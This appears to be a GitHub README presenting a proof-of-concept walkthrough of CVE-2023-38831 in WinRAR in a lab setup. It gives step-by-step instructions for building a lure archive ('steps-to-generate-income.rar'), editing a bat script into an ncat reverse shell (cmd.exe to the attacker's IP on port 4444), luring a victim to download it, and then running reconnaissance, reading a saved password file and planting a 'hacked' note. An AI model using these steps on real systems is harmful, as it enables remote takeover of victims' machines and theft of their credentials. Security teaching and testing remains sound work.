firfirdaus/cve-2023-38831A POC demo on CVE-2023-38831
A POC demo on CVE-2023-38831
Brief description of vulnerability
How does the vulnerability work?
First part of the exploitation
The first half will take place at the attacker machine for the exploitation to begin.
1) Firstly, we will need to create the exploitation folder containing the malicious attachment, “pdf”, the exploitation python code and bat script by the following command: “git clone https://github.com/HDCE-inc/CVE-2023-38831”
2) This is what the folder contains before any exploitation take place,
3) Finding out kali machine IP address via ifconfig:
4) We will then modify the existing script on script bat to the following command line(above image)
“start” is for the command line process to begin, “/min” is to minimise the command prompt at the background, ncat is to start connecting to the attacker ip address and via port 4444, and lastly -e cmd.exe is to execute the command line on command prompt.
5) This shows the following exploit.py code being explained:
1 refers to the user input on the bait file name which is document.pdf, script file name which is bat.script and the output on what the victim see the RAR file as and in this case we will save it as getrich.rar.
2 refers to the checks done to validate if existing files exist in the CVE-2023-38831 folder in kali linux machine with the right naming convection and if the naming is wrong or duplicate file, error message will be printed and the program will stop and exit.
3 refers to creating a temporary file destination using os.mkdir() to stored the newly created file before being compressed into archive and used as workspace.
4 refers to a copy line, shutil.copyfile, to copy both the bait and script file to be stored in their respective directories within “tmp” to ensure that all the necessary files are correct and in placed before proceeding to next step. The next step, shutil.make_archieve, create an archive from the “tmp” called “tmp.zip” which contains everything in the “tmp” folder.
5 refers to the success of running the above code and successfully created a RAR file as the exploit via user input of the bait file, script file and output file name.
6) After getting our IP address and modifying the bat script, we can now proceed to create the malicious “.rar” by running the command “python exploit.py”
The exploit.py will require the user input on 3 fields, the bait file name that exists which is document.pdf, the script file name that we have modified previously which is script.bat and an output RAR file name to lure the victim into downloading and clicking on the file which requires a name that is suitable for and in this case we used “steps-to-generate-income.rar”. CVE-2023-38831 is then ready to exploit the victim machine.
Second part of the exploitation
The second half will then take place both on the kali machine and the victim machine which is a windows 11 VM.
1) We will first either create a malicious website or send the attachment across to the victim.
On the left side, we will execute “python -m http.server 8080”. This command is a process to capture which IP address access this malicious URL which we then can know the victim IP address and listens for different HTTP requests such as “200” by a specific IP address. On the right side, the victim is lured to this IP address and is baited to download the file “steps-to-generate-income.rar”.
2) Once the victim has successfully been lured to download the malicious file “steps-to-generate-income.rar”, it will show which IP address has downloaded the file together with the time frame. From this info, we can obtain the victim IP address.
3) We will then set up a ncat on port 4444 on the kali machine as port 4444 is to synchronise with the same port as the one written in the script.bat to be executed on the victim machine.
Once the victim clicks on the document.pdf, the bat.script will run the command line and minimise in the background in a instance and this allow a backdoor connection for the attacker.
4) We will then able run different commands on the victim machine such as “C:\Windows” then to “dir” to list out all the different exe that is stored.
First command as highlighted as “1” will be “net user” to see how many accounts are there and from this, we can conclude that there is only 1 account W11.
Second command as highlighted as “2” is “systeminfo” to understand more about our victim machine and what privilege the user has, and in this instance is an administrator privilege.
Third command as highlighted as “3” will be navigating through random folders and in this case, we will run command such as “C:\Users\W11” then “dir” to know what type of files and folders, then “C:\Users\W11\Documents” then “dir” to know the contents in Documents directory and we are lucky this user save his password in a notepad.txt. We then print the details of this notepad in the command line to reveal the details, “type secret.txt”. The outcome shows that from this command line, we are able to read write and edit files in the victim machine where further action such as planting a keylogger can also be done to make the victim machine more vulnerable and exposed to more sensitive information.
5) Lastly, we can create a notepad file on the user desktop by running this command
“echo "You've been hacked, please go to testingwebsite" > C:\Users\W11\D\hacked.txt” and hacked.txt will be created on the user desktop to show the victim that his machine has been exploited.
Deland-Han. (2014, February 19). Dynamic link library (DLL) - Windows Client. Microsoft Learn. https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library
Gillis, A. S. (2023, September 26). principle of least privilege (POLP). Security. https://www.techtarget.com/searchsecurity/definition/principle-of-least-privilege-POLP
GmbH, W. (n.d.). WinRAR 7.00 Final released. WinRAR Latest News. https://www.win-rar.com/singlenewsview.html?&L=0&cHash=c5bf79590657e32554c6683296a8e8aa&tx_ttnews%5Btt_news%5D=232
Lab, S. (2023, September 26). Analysis of CVE-2023-38831 Zero-Day vulnerability in WinRAR. Penetration Testing and CyberSecurity Solution - SecureLayer7. https://blog.securelayer7.net/analysis-of-cve-2023-38831-zero-day-vulnerability-in-winrar/
Patch management: benefits and best practices | Balbix. (2022, October 22). Balbix. https://www.balbix.com/insights/patch-management-benefits-and-best-practices/
Research, U. T. (2023, November 17). WinRAR CVE-2023-38831 Vulnerability: Malware Exploits & APT Attacks. https://www.uptycs.com/blog/cve-2023-38831-winrar-zero-day
Slavin, B. (2024, March 18). Common DMARC problems faced by users | DMARC Report. DMARC Report. https://dmarcreport.com/blog/common-dmarc-problems-faced-by-users/
ThreatLocker. (2023, September 11). WinRAR Remote Code Execution. ThreatLocker. https://www.threatlocker.com/blog/winrar-remote-code-execution
Traders’ Dollars in Danger: CVE-2023-38831 zero-Day vulnerability in WinRAR exploited by cybercriminals to target traders. (2023, August 23). Group-IB. https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/
Vulnera. (2023, November 16). DarkCasino: a new APT threat leveraging WinRAR vulnerability - VULNERA. VULNERA - Vulnerability Management. Simplified. https://vulnera.com/newswire/darkcasino-a-new-apt-threat-leveraging-winrar-vulnerability/
